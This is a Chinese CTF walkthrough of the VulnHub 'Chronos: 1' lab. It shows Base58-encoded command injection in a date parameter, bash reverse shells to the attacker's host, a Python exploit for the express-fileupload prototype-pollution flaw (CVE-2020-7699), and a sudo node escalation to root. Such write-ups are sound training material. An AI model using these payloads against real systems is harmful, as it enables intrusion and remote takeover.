[vulnhub] Chronos: 1

https://www.vulnhub.com/entry/chronos-1,735/

ps:该靶机需要在hosts文件添加chronos.local记录,在官方地址上没有写

主机发现端口扫描

  1. 使用nmap扫描网段类存活主机

    因为靶机是我最后添加的,所以靶机IP是7kali10

    nmap -sP 192.168.56.0/24                       
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-15 22:44 CST
    Nmap scan report for 192.168.56.1
    Host is up (0.00036s latency).
    MAC Address: 0A:00:27:00:00:13 (Unknown)
    Nmap scan report for 192.168.56.2
    Host is up (0.00042s latency).
    MAC Address: 08:00:27:8B:E9:B0 (Oracle VirtualBox virtual NIC)
    Nmap scan report for 192.168.56.7
    Host is up (0.00033s latency).
    MAC Address: 08:00:27:B0:C4:F0 (Oracle VirtualBox virtual NIC)
    Nmap scan report for 192.168.56.10
    
  2. 扫描主机开放端口

    nmap -sT -min-rate 10000 -p- 192.168.56.7  
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-15 22:44 CST
    Nmap scan report for 192.168.56.7
    Host is up (0.00048s latency).
    Not shown: 65532 closed tcp ports (conn-refused)
    PORT     STATE SERVICE
    22/tcp   open  ssh
    80/tcp   open  http
    8000/tcp open  http-alt
    MAC Address: 08:00:27:B0:C4:F0 (Oracle VirtualBox virtual NIC)
    
  3. 扫描主机服务版本以及系统版本

    nmap -sV -sT -O -p 80,22,8000 192.168.56.7
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-15 22:45 CST
    Nmap scan report for 192.168.56.7
    Host is up (0.00059s latency).PORT     STATE SERVICE VERSION
    22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
    80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
    8000/tcp open  http    Node.js Express framework
    MAC Address: 08:00:27:B0:C4:F0 (Oracle VirtualBox virtual NIC)
    Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
    Device type: general purpose
    Running: Linux 4.X|5.X
    OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
    OS details: Linux 4.15 - 5.8
    Network Distance: 1 hop
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
  4. 扫描漏洞

    nmap -script=vuln -p 80,22,8000 192.168.56.7                                                                                                                                                                   
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-15 22:45 CST                                                                                                                                                 
    Stats: 0:04:26 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan                                                                                                                                         
    NSE Timing: About 98.99% done; ETC: 22:50 (0:00:03 remaining)                                                                                                                                                      
    Stats: 0:07:32 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan                                                                                                                                         
    NSE Timing: About 98.99% done; ETC: 22:53 (0:00:05 remaining)                                                                                                                                                      
    Stats: 0:07:33 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan                                                                                                                                         
    NSE Timing: About 98.99% done; ETC: 22:53 (0:00:05 remaining)                                                                                                                                                      
    Nmap scan report for 192.168.56.7                                                                                                                                                                                  
    Host is up (0.00057s latency).                                                                      PORT     STATE SERVICE  
    22/tcp   open  ssh
    80/tcp   open  http     
    |_http-csrf: Couldn't find any CSRF vulnerabilities.                                                     
    |_http-stored-xss: Couldn't find any stored XSS vulnerabilities.                                         
    | http-enum:                                                                                        
    |_  /css/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'   
    |_http-dombased-xss: Couldn't find any DOM based XSS.                               
    8000/tcp open  http-alt                                                                             
    | http-vuln-cve2011-3192:                           
    |   VULNERABLE:                                   
    |   Apache byterange filter DoS                     
    |     State: VULNERABLE                                                                             
    |     IDs:  CVE:CVE-2011-3192  BID:49303
    |       The Apache web server is vulnerable to a denial of service attack when numerous
    |       overlapping byte ranges are requested.      
    |     Disclosure date: 2011-08-19                                                                   
    |     References:                                   
    |       https://seclists.org/fulldisclosure/2011/Aug/175                                                 
    |       https://www.securityfocus.com/bid/49303     
    |       https://www.tenable.com/plugins/nessus/55976                                                     
    |_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192
    | http-slowloris-check:                                                                             
    |   VULNERABLE:                                                                                     
    |   Slowloris DOS attack                                                                            
    |     State: LIKELY VULNERABLE                      
    |     IDs:  CVE:CVE-2007-6750                     
    |       Slowloris tries to keep many connections to the target web server open and hold                  
    |       them open as long as possible.  It accomplishes this by opening connections to              
    |       the target web server and sending a partial request. By doing so, it starves                     
    |       the http server's resources causing Denial Of Service.                         
    |                                                   
    |     Disclosure date: 2009-09-17                                                                   
    |     References:                                   
    |       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750                                     
    |_      http://ha.ckers.org/slowloris/              
    MAC Address: 08:00:27:B0:C4:F0 (Oracle VirtualBox virtual NIC)
    

web渗透

80端口

  1. 访问主页

    在这里插入图片描述

  2. 扫描目录

    gobuster dir -u http://192.168.56.7 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,zip,txt | grep -v "403"                                                            
    ===============================================================
    Gobuster v3.6
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
    ===============================================================
    [+] Url:                     http://192.168.56.7
    [+] Method:                  GET
    [+] Threads:                 10
    [+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
    [+] Negative Status codes:   404
    [+] User Agent:              gobuster/3.6
    [+] Extensions:              php,html,zip,txt
    [+] Timeout:                 10s
    ===============================================================
    Starting gobuster in directory enumeration mode
    ===============================================================
    /index.html           (Status: 200) [Size: 1887]
    /css                  (Status: 301) [Size: 310] [--> http://192.168.56.7/css/]
    Progress: 1102800 / 1102805 (100.00%)
    ===============================================================
    Finished
    ===============================================================
    
    • /css 是存放css的文件夹

    没找到别的东西

8000端口

  1. 访问主页

    在这里插入图片描述

    就是没了样式的80端口主页,不过看80端口的控制台可以知道,80端口是向8000端口请求的

    在这里插入图片描述

  2. 目录扫描

    obuster dir -u http://192.168.56.7:8000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,zip,txt | grep -v "403" 
    ===============================================================
    Gobuster v3.6
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
    ===============================================================
    [+] Url:                     http://192.168.56.7:8000
    [+] Method:                  GET
    [+] Threads:                 10
    [+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
    [+] Negative Status codes:   404
    [+] User Agent:              gobuster/3.6
    [+] Extensions:              php,html,zip,txt
    [+] Timeout:                 10s
    ===============================================================
    Starting gobuster in directory enumeration mode
    ===============================================================
    /date                 (Status: 500) [Size: 1064]
    /Date                 (Status: 500) [Size: 1064]
    Progress: 1102800 / 1102805 (100.00%)
    ===============================================================
    Finished
    ===============================================================
    

    扫描出/Date/date ,两个页面是一样的,返回以下字符

    TypeError: Expected Stringat decodeUnsafe (/opt/chronos/node_modules/base-x/src/index.js:66:45)at Object.decode (/opt/chronos/node_modules/base-x/src/index.js:113:18)at /opt/chronos/app.js:25:24at Layer.handle [as handle_request] (/opt/chronos/node_modules/express/lib/router/layer.js:95:5)at next (/opt/chronos/node_modules/express/lib/router/route.js:137:13)at Route.dispatch (/opt/chronos/node_modules/express/lib/router/route.js:112:3)at Layer.handle [as handle_request] (/opt/chronos/node_modules/express/lib/router/layer.js:95:5)at /opt/chronos/node_modules/express/lib/router/index.js:281:22at Function.process_params (/opt/chronos/node_modules/express/lib/router/index.js:335:12)at next (/opt/chronos/node_modules/express/lib/router/index.js:275:10)
    
  3. 仔细看上面回显的报错,可以知道是Node.js ,以及express 一个流行的 Node.js Web 框架,可能是一个基于 Node.jsExpress.jsWeb 应用(将报错的提示直接喂给chatgpt即可)

    下面是GPT的解释:

    这个错误 TypeError: Expected String 通常是由于某个函数期望传入一个字符串类型的参数,但实际接收到了其他类型的数据(例如 undefinednull 或对象等)。在你遇到的情况中,问题出现在 base-x 包的 decodeUnsafe 函数中,这个包是用来进行 base 编码(如 Base64 或 Base58)的编码和解码操作。

    在这里插入图片描述

    回到前面,我们注意到了80端口也是请求的8000端口的/date ,参数是format ,后面跟着的应该是Base64Base58 ,而我们直接访问/date不加参数(undefinednull)就会造成上面的报错TypeError

  4. 复制80端口请求8000端口/date的包后面的参数进行解码

    4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
    

    尝试后可得知是Base58 ,解码出来是

    '+Today is %A, %B %d, %Y %H:%M:%S.'
    

    就是80端口上的时间

    在这里插入图片描述

  5. 我们尝试将其修改为别的字符串,看看能不能修改

    • '+Today is TESTTEST %A, %B %d, %Y %H:%M:%S.'通过base58编码后得到 DjerGPjfzgpppwBPtBUY9XHKb6yTharNX81g3tSBJ3hJdABPG8Bj1gnmwWqc

    • 刷新80端口主页,抓包,修改/date后的参数为我们修改过

      在这里插入图片描述

    • 修改后放行,回到浏览器查看

      在这里插入图片描述

      是可以修改的,这里可能是突破点

  6. 我们将注意力放在'+Today is TESTTEST %A, %B %d, %Y %H:%M:%S.' ,将其投喂给GPT后发现不是Node.js

    # GPT 原话
    在 Node.js 中,这样的格式化字符串一般不会直接使用像 %A、%B 这样的占位符,
    因为 JavaScript(包括 Node.js)的日期时间处理方式和其他语言(如 Python)有所不同。
    

    最后得知是Linux中的Date命令

    在这里插入图片描述

    很难不怀疑是命令执行

  7. 通过使用Linux构造命令,然后进行编码尝试是否存在命令执行

    '+Today is TESTTEST %A, %B %d, %Y %H:%M:%S.' | ls
    

    会将前面的结果传递给后面的命令作为命令,但是ls不接受前面的结果,所以会直接执行ls

    进行Base58编码

    7LpzQUvtAU8ezh7iNvMhdy7bv2ZW8RaxEkthfeUDjBN2WGYxytPqosuP9BtJfrTBUSn
    

    然后通过上面抓包的方式将参数进行替换后

    在这里插入图片描述

    可以发现将ls的结果打印出来了

尝试获得shell

  1. 将参数修改为反弹shell的命令(192.168.56.10kali

    PS:突然发现较新的靶机都不能直接通过nc来反弹shell,需要通过bash来反弹

    '+Today is TESTTEST %A, %B %d, %Y %H:%M:%S.' | bash -c "bash -i >& /dev/tcp/192.168.56.10/1234 0>&1"
    

    编码后得到

    2XHxFqgRgHdnuw7ymykTgiqjFXsf7ew4NHNWzh32oWPcBSFmAv79MRw4ezcAFwUUe6V4GMCkMRUE7T3Lc6JBiNLaBMPiw9rTgpKdigK4HxoDBDDYcfF7bTLgcaRMj63ozzHBCUA6M
    
  2. kali开启监听,然后抓包将参数替换,可以发现已经反弹成功了

    ┌──(root㉿kali)-[~/Desktop]
    └─# nc -lvp 1234                                
    listening on [any] 1234 ...connect to [192.168.56.10] from chronos.local [192.168.56.7] 41632
    bash: cannot set terminal process group (808): Inappropriate ioctl for device
    bash: no job control in this shell
    www-data@chronos:/opt/chronos$ 
    www-data@chronos:/opt/chronos$ 
    

提权

  1. 查看权限

    www-data@chronos:/opt/chronos$ whoami
    www-data
    www-data@chronos:/opt/chronos$ id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    www-data@chronos:/opt/chronos$ uname -a
    Linux chronos 4.15.0-151-generic #157-Ubuntu SMP Fri Jul 9 23:07:57 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
    
  2. 寻找突破点

    • SUID,无可利用

    • /opt/下存在chronos-v2文件夹(靶机下存在这些文件夹,大概是突破口了),查看其后端文件夹/opt/chronos-v2/backend

      存在server.js

      # server.js 
      const express = require('express');
      const fileupload = require("express-fileupload");
      const http = require('http')const app = express();app.use(fileupload({ parseNested: true }));app.set('view engine', 'ejs');
      app.set('views', "/opt/chronos-v2/frontend/pages");app.get('/', (req, res) => {res.render('index')
      });const server = http.Server(app);
      const addr = "127.0.0.1"
      const port = 8080;
      server.listen(port, addr, () => {console.log('Server listening on ' + addr + ' port ' + port);
      });
      www-data@chronos:/opt/chronos-v2/backend$ 
      

      可以看到 express-fileupload 存在文件上传,并开启在8080端口,因为const addr = "127.0.0.1" 为本地环回地址,所以只能在本机上访问到,怪不得扫描不到

  3. 重点是express-fileupload ,网上查阅其漏洞

    • 可以在package.json 下找到它的版本号1.1.7-alpha.3

      cat package.json
      {"name": "some-website","version": "1.0.0","description": "","main": "server.js","scripts": {"start": "node server.js"},"author": "","license": "ISC","dependencies": {"ejs": "^3.1.5","express": "^4.17.1","express-fileupload": "^1.1.7-alpha.3"}
      }
      
    • CVE-2020-7699 找到漏洞RCE

      https://www.freebuf.com/vuls/246029.html

      https://www.freebuf.com/articles/web/322857.html

      https://www.bleepingcomputer.com/news/security/nodejs-module-downloaded-7m-times-lets-hackers-inject-code/

      本菜鸡没看懂,要学习Node.js污染原型链,本菜鸡没学过,大概知道要怎么利用

      大概就是将数据包里的的name改为

      __proto__.outputFunctionName
      

      然后将值改为:

      x;process.mainModule.require('child_process').exec('bash -c "bash -i &> /dev/tcp/ip/prot 0>&1"');x
      

      当我们再次发起请求时,便会在指定的主机反弹回来一个shell,从而达到RCE的目的

      其实在上面的链接也给出了利用脚本

      import requestscmd = 'bash -c "bash -i &> /dev/tcp/192.168.56.10/8888 0>&1"'# pollute
      requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})# execute command
      requests.get('http://127.0.0.1:8080')
      

      我们将脚本改名为shell.py然后上传到靶机进行利用

    • 存放在靶机的/tmp目录里,同时kali监听8888端口,执行脚本(使用python3执行)

      可以看到已经反弹到8888端口了

      在这里插入图片描述

      用户是imera

  4. 在该用户家目录下存在flag文件

    imera@chronos:~$ cat user.txt
    byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK
    
  5. 查看权限

    imera@chronos:/opt/chronos-v2/backend$ sudo -l
    sudo -l
    Matching Defaults entries for imera on chronos:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser imera may run the following commands on chronos:(ALL) NOPASSWD: /usr/local/bin/npm *(ALL) NOPASSWD: /usr/local/bin/node *
    
  6. 可以进行提权了

    https://www.huangmj.com/17116743651246.html#41-sudo-node

    imera@chronos:~$ sudo node -e "require('child_process').spawn('/bin/bash',{stdio:[0,1,2]})"
    id
    uid=0(root) gid=0(root) groups=0(root)
    

    获得root!!!!

  7. 读取flag 文件

    # user.txt
    byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK
    

总结

难点在提权到imera用户,以及发现web突破点的思路,还得学习Node.js的原型链污染(我还没学),最后的提权到root也是之前没有尝试过的

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/17473.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

基于SSM的餐饮管理系统的设计与实现

【Java】基于SSM的餐饮管理系统的设计与实现 点击以下链接获取源码: https://download.csdn.net/download/qq_64505944/90001206?spm1001.2014.3001.5503 2、技术框架:Jdk1.8,SSM,Tomcat,Mysql5,Jsp 3、压…

数据结构之集合框架

文章目录 1.什么是集合框架2. 集合框架的重要性(了解)3. 背后涉及到的数据结构以及算法3.1 什么是数据结构3.2 相关Java知识3.3 什么是算法 1.什么是集合框架 Java 集合框架 Java Collection Framework ,又被称为容器 container &#xff0c…

【大语言模型】ACL2024论文-14 任务:不可能的语言模型

【大语言模型】ACL2024论文-14 任务:不可能的语言模型 目录 文章目录 【大语言模型】ACL2024论文-14 任务:不可能的语言模型目录摘要研究背景问题与挑战如何解决创新点算法模型实验效果重要数据与结论推荐阅读指数和推荐理由 后记 任务:不可能…

PFC(Priority-based Flow Control) 的 100 种优化方法

简单直接的东西不需要优化,只有弄巧成拙的东西才不断被修补,优化,没完没了。 昨天聊 RDMA 和无损网络,我还是一如既往喷 PFC,并提出一些等价想法,被怼异想天开。随后我换了群昵称和头像,若干分…

【网络】什么是路由器 (Router )网关设备(Gateway)?

路由器(Router),又称路径器或网关设备(Gateway),是一种重要的计算机网络设备。以下是关于路由器的详细解释: 一、路由器的定义与功能 定义:路由器是连接因特网中各局域网、广域网的…

Linux debian系统安装ClamTk开源图形用户界面(GUI)杀毒软件

一、ClamTk简介 ClamTk 是一个基于 ClamAV 的开源图形用户界面(GUI)杀毒软件。它使用 GTK2-Perl 脚本构建而成,支持32位与64位操作系统。ClamTk 提供了一个直观的用户界面,使得用户无需深入了解命令行即可完成大部分操作。它具备…

Java期末复习暨学校第八次上机课作业

Java期末复习暨学校第八次上机课作业: 第一题: 分别给出了一个无参构造方法和有参构造方法,然后针对半径给出了set和get方法。针对面积给出了getArea方法,返回面积的值。 针对周长给出getPerimeter方法,返回周长。最后…

ShardingSphere如何轻松驾驭Seata柔性分布式事务?

0 前文 上一文解析了 ShardingSphere 强一致性事务支持 XAShardingTransactionManager ,本文继续: 讲解该类介绍支持柔性事务的 SeataATShardingTransactionManager sharding-transaction-xa-core中关于 XAShardingTransactionManager,本文…

将 SQL 数据库连接到云:PostgreSQL、MySQL、SQLite 和云集成说明

在当今数据驱动型世界中,云技术已经完全改变了数据库的管理和扩展。SQL 数据库(包括 PostgreSQL、MySQL 和 SQLite)在相当长的一段时间内一直是开发人员的最爱。然而,为了响应对可扩展、适应性强且经济高效的解决方案日益增长的需…

Vulnhub靶场案例渗透[10]- Momentum2

文章目录 一、靶场搭建1. 靶场描述2. 下载靶机环境3. 靶场搭建 二、渗透靶场1. 确定靶机IP2. 探测靶场开放端口及对应服务3. 扫描网络目录结构4. 代码审计5. 反弹shell6. 提权 一、靶场搭建 1. 靶场描述 - Difficulty : medium - Keywords : curl, bash, code reviewThis wor…

STM32设计防丢防摔智能行李箱

目录 目录 前言 一、本设计主要实现哪些很“开门”功能? 二、电路设计原理图 1.电路图采用Altium Designer进行设计: 2.实物展示图片 三、程序源代码设计 四、获取资料内容 前言 随着科技的不断发展,嵌入式系统、物联网技术、智能设备…

前后端请求响应

引入 在之前的例子中,我们编写了一个简单的web类,我们运行启动类,启动内嵌的tomcat后就可以在浏览器通过特定的路径访问tomcat中的应用程序。 但之前编写的程序仅仅是个简单的java类,其并未实现某个接口或继承某个类&…

爬虫——数据解析与提取

第二节:数据解析与提取 在网络爬虫开发中,获取网页内容(HTML)是第一步,但从这些内容中提取有用的数据,才是爬虫的核心部分。HTML文档通常结构复杂且充满冗余信息,因此我们需要使用高效的解析工…

数据结构C语言描述3(图文结合)--双链表、循环链表、约瑟夫环问题

前言 这个专栏将会用纯C实现常用的数据结构和简单的算法;有C基础即可跟着学习,代码均可运行;准备考研的也可跟着写,个人感觉,如果时间充裕,手写一遍比看书、刷题管用很多,这也是本人采用纯C语言…

设计模式-策略模式

1. 策略模式 策略模式(Strategy Pattern)针对一组算法,将每一个算法封装到 具有共同接口 的独立的类中,从而使得它们可以相互替换。策略模式使得算法可以在不影响到客户端的情况下发生变化。 在软件开发中,经常会遇到…

FFmpeg 4.3 音视频-多路H265监控录放C++开发十四,总结编码过程,从摄像头获得数据后,转成AVFrame,然后再次转成AVPacket,

也就是将摄像头采集到的YUV 的数据换成 AVFrame,然后再次转成 AVPacket,那么这AVPakcet数据要怎么办呢?分为三种情况: 一种是将AVPacket存储成h264文件,由于h264编码器在将avframe变成avpacket的时候就是按照h264的格…

【srm,招标询价】采购电子化全流程,供应商准入审核,在线询价流程管理(JAVA+Vue+mysql)

前言: 随着互联网和数字技术的不断发展,企业采购管理逐渐走向数字化和智能化。数字化采购平台作为企业采购管理的新模式,能够提高采购效率、降低采购成本、优化供应商合作效率,已成为企业实现效益提升的关键手段。系统获取在文末…

Transformer学习笔记(一)

Transformer学习笔记 基于 3B1B 可视化视频 自注意力机制 1.每个词的初始嵌入是一个高维向量,只编码该单词含义,与上下文没有关联 2.对初始向量进行位置编码,在高维向量中编码进位置信息(单词在语言序列中的位置信息&#xff…

4.4.5 timer中断流向Linux(从interrupt log回放)

4.4.5 timer中断流向Linux(从interrupt log回放) 按上文所述,timer中断3已经记录到root domain的interrupt log。在《3.4.1.3 IPIPE interrupt log数据结构》中,已经讨论过interrupt log的记录与回放。本小结,讨论什么…

WinDefender Weaker

PPL Windows Vista / Server 2008引入 了受保护进程的概念,其目的不是保护您的数据或凭据。其最初目标是保护媒体内容并符合DRM (数字版权管理)要求。Microsoft开发了此机制,以便您的媒体播放器可以读取例如蓝光,同时…